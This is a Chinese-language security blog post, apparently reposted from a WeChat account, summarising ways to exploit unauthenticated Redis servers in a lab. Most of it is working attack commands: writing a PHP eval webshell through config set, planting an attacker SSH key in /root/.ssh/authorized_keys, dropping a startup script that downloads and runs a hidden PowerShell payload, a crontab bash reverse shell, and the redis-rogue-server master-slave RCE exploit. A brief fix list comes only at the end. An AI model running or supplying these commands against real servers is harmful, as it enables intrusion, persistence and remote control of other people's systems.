环境搭建
Linux(centos7)
下载地址:
http://download.redis.io/releases/
这里下载的5.0.3版本
随后解压安装
tar -zxvf redis-5.0.3.tar.gzcd redis-5.0.3/srcmake all
再修改配置文件redis.conf
# bind 127.0.0.1protected-mode no
测试未授权
第一次没连接到,因为6379端口没有对外开放
systemctl stop firewalld.service
关掉防火墙即可
Windows(win10)
下载地址:
https://github.com/tporadowski/redis/releases
下载后解压,cmd进入目录
修改配置文件redis.windows.conf
# bind 127.0.0.1protected-mode no
目录下运行redis-server.exe redis.windows.conf
测试未授权
0x1 通过变量写入webshell
dir 指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里
dbfilename RDB文件名,默认为“dump.rdb”
我们可以将dir设置web目录,而dbfilename为webshell文件名,再随便set一个变量 值为一句话木马,再执行save或bgsave,便可写入一个webshell
config set dir /var/www/html/ # or c:/phpstudy/www
config set dbfilename shell.php
set webshell "<?php @eval($_POST['a']);?>"
save
0x2 写入ssh key
利用Redis自带的config命令,将攻击机的公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以直接使用对应的私钥登录目标服务器。
1 -> 生成公私钥文件
ssh-keygen -t rsa
2 -> 将公钥写入txt
(echo -e "nn"; cat ~/.ssh/id_rsa.pub; echo -e "nn") > ./ssh.txt
3 -> 将txt写入redis
cat ./ssh.txt | redis-cli -h 192.168.226.181 -x set ssh
redis-cli -h 192.168.226.181config set dir /root/.ssh/
config set dbfilename authorized_keys
save #这里保存后便会自动将内存中的数据写入到备份文件/root/.ssh/authorized_keys中
此时已成功将公钥写入,可以直接用kali连接
0x3 利用启动项执行后门
在cs里生成一段powershell后门,执行如下命令写入
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"config set dbfilename shell.batset x "rnrnpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.230.133:80/a'))"rnrn"save
需要目标重启,重启后便会运行后门
0x4 利用crontab反弹shell
set x "n* * * * * bash -i >& /dev/tcp/192.168.226.181/4399 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save
kali开启监听,一会就反弹过来了
0x5 主从复制rce
主从复制原理:
https://www.cnblogs.com/daofaziran/p/10978628.html
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
直接上exp
unzip redis-rogue-server-master.zip
cd redis-rogue-server/RedisModulesSDK/exp
make
cd ../../
python3 redis-rogue-server.py --rhost 192.168.226.181 --lhost 192.168.226.176
输入i会建立一个交互shell,输入r会反弹shell
尝试反弹shell
修复建议
大多情况都是建立在未授权情况下,直接从根本解决
1.设置默认只对本地开放
2.设置登录密码
3.低权限运行redis
参考文章
https://www.cnblogs.com/loopkep/p/11135949.html
https://mp.weixin.qq.com/s/Oy63HY68MdDzL0WBdFLDBQ
https://blog.csdn.net/hyy615545936/article/details/100747855
https://zhuanlan.zhihu.com/p/101701119
原文始发于微信公众号(白帽兔):redis未授权利用方法总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论